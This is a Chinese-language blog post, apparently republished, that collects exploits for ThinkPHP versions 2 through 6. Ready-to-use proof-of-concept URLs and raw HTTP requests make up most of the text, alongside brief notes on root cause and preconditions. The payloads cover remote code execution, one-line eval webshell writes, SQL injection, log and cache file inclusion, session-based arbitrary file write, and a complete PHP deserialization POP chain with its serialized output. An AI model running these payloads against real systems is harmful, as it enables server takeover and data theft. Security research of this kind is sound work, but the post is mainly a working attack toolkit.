暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

【漏洞总结】ThinkPHP篇

源桑小酒馆 2022-09-09
1833

thinkphp 2 系列

2.x 任意代码执行

影响版本


    ThinkPHP 2.x


    漏洞简介

    ThinkPHP 2.x版本通过 preg_replace 的 e 模式匹配路由,从而导致用户的输入参数被插入到双引号中执行,造成任意代码执行漏洞。


      $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
      $paths));
        @e:可执行模式,此为PHP正则表达式解析中的专有参数,被例如preg_replace等函数所支持。


        POC


          http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}


          一句话 webshell:


            http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST['jkjk']))}


            注意:preg_replace这个函数 5.2~5.6 都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e
            修饰符了。

            冷知识

            ThinkPHP 3.0 版本因为Lite模式下没有修复该漏洞,所以也存在这个漏洞

            thinkphp 3 系列

            3.x assign 变量覆盖RCE

            利用条件

            业务代码中的使用了assign 方法注册变量assign()
            函数的第一个参数可控
            存在可包含的恶意日志文件

            漏洞原理

            业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。 例如:


              $value = I("get.value");
              $this->assign($value);
              $this->display();


              POC

              (1)先写入恶意代码到日志中


                /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>


                注意:使用 BurpSuite 发包,避免被编码,从而导致无法包含解析

                (2)包含并执行日志内的代码


                  /index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_02.log


                  3.x  show 函数命令执行

                  利用条件

                  有使用 show 函数来解析参数。

                  漏洞原理

                  show函数后面的函数调用中,show函数的内容(包括我们传递进去的内容)会变成一个缓存文件,而后面的fetch函数调用中会对该缓存文件进行文件包含,从而造成执行命令执行。


                    <?php


                    namespace Home\Controller;
                    use Think\Controller;


                    class IndexController extends Controller {


                    public function index($n=''){
                    $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执行</h2><p>注入点:'.$n.'</p>','utf-8');
                    }


                    }


                    POC


                      https://localhost/index.php/home/index/index?n=<?php system("whoami");?>


                      3.x 日志泄露

                      漏洞成因

                      thinkphp 3 在开启 debug 模式的情况下,会在 Runtime 目录下生成日志文件,日志文件名为日期,里面可能包含SQL语句等敏感信息。

                      日志路径

                      默认为:


                        /Application/Runtime/Logs/Home/16_09_09.log


                        少数情况下会为:


                          /App/Runtime/Logs/22_03_29.log
                            /Runtime/Logs/Home/16_09_09.log


                            利用URL

                            直接拼接就行,例如:


                              https://wwww.gotizz.com/Application/Runtime/Logs/Home/16_09_09.log


                              3.x 缓存漏洞

                              利用条件

                              使用了 S()
                              参数作为缓存

                              漏洞代码


                                <?php
                                namespace Home\Controller;
                                use Think\Controller;
                                class IndexController extends Controller {


                                public function index(){
                                $a=I('post.a3');
                                S('data',$a);
                                }
                                }


                                POC


                                  a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f


                                  然后访问:


                                    http://127.0.0.1/thinkphp-3.2.3/Application/runtime/Temp/8d777f385d3dfec8815d20f7496026dc.php


                                    8d777f385d3dfec8815d20f7496026dc S('data',$a) data MD5 值。


                                    3.2.3 find/select/delete 注入

                                    利用条件

                                    使用I()
                                    函数传参
                                    报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要

                                    漏洞代码


                                      public function index()
                                      {
                                      $id = I('id');
                                      $res = M("user")->find($id);
                                      //$res = M("user")->select($id);
                                      //$res = M("user")->delete($id);
                                      dump($res);
                                      }


                                      POC

                                      find/select注入


                                        id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
                                        id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
                                        id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--


                                        delete注入


                                          id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
                                          id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
                                          id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1


                                          3.2.3 exp 注入

                                          利用条件

                                          通过原生全局数组传参,而不是I()
                                          函数
                                          where参数传递的是我们可控制的数组报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要

                                          漏洞代码


                                            public function index()
                                            {
                                            $User = D('Users');
                                            $map = array('username' => $_GET['username']);
                                            $user = $User->where($map)->find();
                                            var_dump($user);
                                            }


                                            POC


                                              http://php.local/thinkphp3.2.3/index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)


                                              3.2.3 update 注入

                                              利用条件

                                              使用I()
                                              函数来传参
                                              调用 save 函数进行数据更新报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要

                                              漏洞代码


                                                public function index()
                                                {
                                                $User = M("Users");
                                                $user['id'] = I('id');
                                                $data['password'] = I('password');
                                                $valu = $User->where($user)->save($data);
                                                var_dump($valu);
                                                }


                                                POC


                                                  http://php.local/thinkphp3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1


                                                  3.2.3 order 注入

                                                  利用条件

                                                  order()方法参数可控开启 debug 模式

                                                  漏洞代码


                                                    $name = I("name");
                                                    $order = I("order");
                                                    $res = M("user")->where(["name" => $name])->order($order)->find();
                                                    dump($res);


                                                    POC


                                                      ?order[updatexml(1,concat(0x3a,user()),1)]


                                                      thinkphp 5 系列

                                                      debug 默认状态

                                                      从 5.0.10 开始,debug 默认为 false。但是 5.0.13 之前都存在无需开启 debug 的 RCE,5.0.13 开始,需要开启 debug 或者存在 captcha 路由才能成功 RCE。(只有安装了官方的 think-captcha 扩展,才会存在 captcha 路由)

                                                      5.0.0 - 5.1.30 远程代码执行(路由处理漏洞)

                                                      影响版本


                                                        ThinkPHP 5.0.0 < 5.0.23
                                                        ThinkPHP 5.1.0 < 5.1.31


                                                        漏洞简介

                                                        在该ThinkPHP版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

                                                        POC


                                                          http://192.168.8.63:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_arr
                                                          ay&vars[0]=system&vars[1][]=whoami


                                                          写入一句话webshell:


                                                            http://192.168.8.63:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e


                                                            URL编码的内容如下:
                                                            <?php eval($_POST[zcc]);?>


                                                            POC原理

                                                            调用控制器App类的invokefunction方法来调用 call_user_func_array 方法, call_user_func_array 函数接受两个参数,第一个 var[0] 为函数名,第二个 var[1] 为函数参数数组,上面的意思是通过 call_user_func_array 函数调用 system 函数执行 whoami 命令。

                                                            5.0.x 系列 payload

                                                            命令执行


                                                              ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


                                                              其它


                                                                ?s=index/think\config/get&name=database.username // 获取配置信息
                                                                ?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
                                                                ?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件


                                                                5.1.x 系列 payload

                                                                命令执行


                                                                  ?s=index/\think\Request/input&filter[]=system&data=pwd
                                                                  ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
                                                                  ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


                                                                  写webshell


                                                                    ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>


                                                                    ?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>
                                                                    //shell生成在runtime/temp/md5(template).php


                                                                    5.0.0 ~ 5.0.23 远程代码执行(method处理漏洞)

                                                                    影响版本


                                                                      5.0.0 ~ 5.0.23


                                                                      漏洞原理

                                                                      Thinkphp 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

                                                                      POC


                                                                        POST /index.php?s=captcha HTTP/1.1
                                                                        Host: 192.168.8.63:8080
                                                                        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Accept-Encoding: gzip, deflate
                                                                        Connection: close
                                                                        Upgrade-Insecure-Requests: 1
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Content-Length: 72


                                                                        _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami


                                                                        除了上面这个之外,其实由 method 和 construct 导致的 RCE 在依然在不同版本和不同debug选项下存在。

                                                                        5.0 .0 - 5.0.12 无需debug RCE

                                                                        命令执行


                                                                          POST ?s=index/index


                                                                          s=whoami&_method=__construct&method=POST&filter[]=system
                                                                          aaaa=whoami&_method=__construct&method=GET&filter[]=system
                                                                          _method=__construct&method=GET&filter[]=system&get[]=whoami


                                                                          写webshell


                                                                            POST /


                                                                            s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert


                                                                            5.0.13 - 5.0.23 需要debug RCE

                                                                            利用条件

                                                                            debug 为 True

                                                                            POC

                                                                            命令执行


                                                                              POST ?s=index/index


                                                                              s=whoami&_method=__construct&method=POST&filter[]=system
                                                                              aaaa=whoami&_method=__construct&method=GET&filter[]=system
                                                                              _method=__construct&method=GET&filter[]=system&get[]=whoami
                                                                              c=system&f=calc&_method=filter


                                                                              写webshell


                                                                                POST /


                                                                                s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert


                                                                                5.0.13 - 5.0.23 无需debug RCE


                                                                                  POST ?s=captcha/calc


                                                                                  _method=__construct&filter[]=system&method=GET


                                                                                  5.1.0 - 5.1.1  需要debug RCE

                                                                                  命令执行


                                                                                    POST ?s=index/index


                                                                                    _method=__construct&filter[]=system&method=GET&s=calc


                                                                                    写webshell


                                                                                      POST /


                                                                                      s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert


                                                                                      注意:要 php 5.6 + 才行,因为使用到了命名空间

                                                                                      5.1.0 - 5.1.1  无需debug RCE

                                                                                      命令执行


                                                                                        POST ?s=captcha/calc


                                                                                        _method=__construct&filter[]=system&s=calc&method=GET
                                                                                          POST ?s=captcha


                                                                                          _method=__construct&filter[]=system&s=calc&method=get


                                                                                          5.1.0 - 5.1.23 SQL注入漏洞

                                                                                          利用条件

                                                                                          开启 debug 模式没有安全的过滤参数

                                                                                          影响版本


                                                                                            ThinkPHP < 5.1.23


                                                                                            漏洞代码


                                                                                              $data=array();
                                                                                              $data['id']=array('eq','test');
                                                                                              $order=input('get.order');
                                                                                              $m=db('user')->where($data)->order($order)->find();


                                                                                              漏洞原理

                                                                                              在ThinkPHP5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。

                                                                                              POC


                                                                                                http://127.0.0.1/tp5/public/index.php/index/index/hello?order[id`,%27aaa%27)|%20updatexml(1,concat(0x3a,user()),1)%23][]=


                                                                                                5.x 日志泄露

                                                                                                利用条件

                                                                                                开启了 debug 模式

                                                                                                POC


                                                                                                  https:/www.xxx.com/runtime/log/202209/02.log


                                                                                                  thinkphp 6系列

                                                                                                  6.0.x 任意文件写入

                                                                                                  利用条件

                                                                                                  /tp6/app/middleware.php 文件中有开启session初始化功能

                                                                                                  影响版本


                                                                                                    6.0.0<=thinphp<=6.0.1


                                                                                                    漏洞原理

                                                                                                    该系列版本在存储session时处理不当,导致可进行任意文件写入

                                                                                                    漏洞代码


                                                                                                      public function test1(){
                                                                                                      $sid =$_POST['key'];
                                                                                                      session('zeo',$sid);
                                                                                                      return 666;
                                                                                                      }


                                                                                                      意思是获取一个key设置写入session中。

                                                                                                      POC


                                                                                                        POST /tp6/public/index.php/index/test1 HTTP/1.1
                                                                                                        Host: 127.0.0.1
                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
                                                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                                                                        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
                                                                                                        Accept-Encoding: gzip, deflate
                                                                                                        Content-Type: application/x-www-form-urlencoded
                                                                                                        Content-Length: 24
                                                                                                        Origin: http://127.0.0.1
                                                                                                        Connection: close
                                                                                                        Referer: http://127.0.0.1/tp6/public/index.php/index/test1
                                                                                                        Cookie: PHPSESSID=1234567890123456789012345678.php;
                                                                                                        Upgrade-Insecure-Requests: 1


                                                                                                        key=<?php%20phpinfo();?>


                                                                                                        注意:session PHPSESSID= 后面要按照要求必须 32位 可以随便构造

                                                                                                        然后加上sess前缀访问,


                                                                                                           http://127.0.0.1/tp6/runtime/session/sess_1234567890123456789012345678.php


                                                                                                          6.0.12 反序列化

                                                                                                          利用条件

                                                                                                          unserialize()
                                                                                                          函数参数可控

                                                                                                          影响版本


                                                                                                            6.0.0-6.0.12


                                                                                                            漏洞原理

                                                                                                            该系列版本存在可利用的POP利用链。

                                                                                                            漏洞代码


                                                                                                              <?php
                                                                                                              namespace app\controller;


                                                                                                              use app\BaseController;


                                                                                                              class Index extends BaseController{
                                                                                                              public function index(){
                                                                                                              $data = $_POST['data'];
                                                                                                              unserialize(base64_decode($data));
                                                                                                              }
                                                                                                              }


                                                                                                              POC


                                                                                                                <?php
                                                                                                                namespace think {
                                                                                                                abstract class Model {
                                                                                                                private $lazySave = false;
                                                                                                                private $data = [];
                                                                                                                private $exists = false;
                                                                                                                protected $table;
                                                                                                                private $withAttr = [];
                                                                                                                protected $json = [];
                                                                                                                protected $jsonAssoc = false;


                                                                                                                public function __construct($obj='') {
                                                                                                                $this->lazySave = true;
                                                                                                                $this->data = ['whoami'=>['whoami']];
                                                                                                                $this->exists = true;
                                                                                                                $this->table = $obj;
                                                                                                                $this->withAttr = ['whoami'=>['system']];
                                                                                                                $this->json = ['whoami'];
                                                                                                                $this->jsonAssoc = true;
                                                                                                                }
                                                                                                                }
                                                                                                                }


                                                                                                                namespace think\model {
                                                                                                                use think\Model;
                                                                                                                class Pivot extends Model {


                                                                                                                }


                                                                                                                $p = new Pivot(new Pivot());
                                                                                                                echo urlencode(serialize($p));
                                                                                                                }


                                                                                                                将生成的代码传递去反序列化即可执行任意代码:


                                                                                                                  data=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D



                                                                                                                  文章转载自源桑小酒馆,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                                                                                                  评论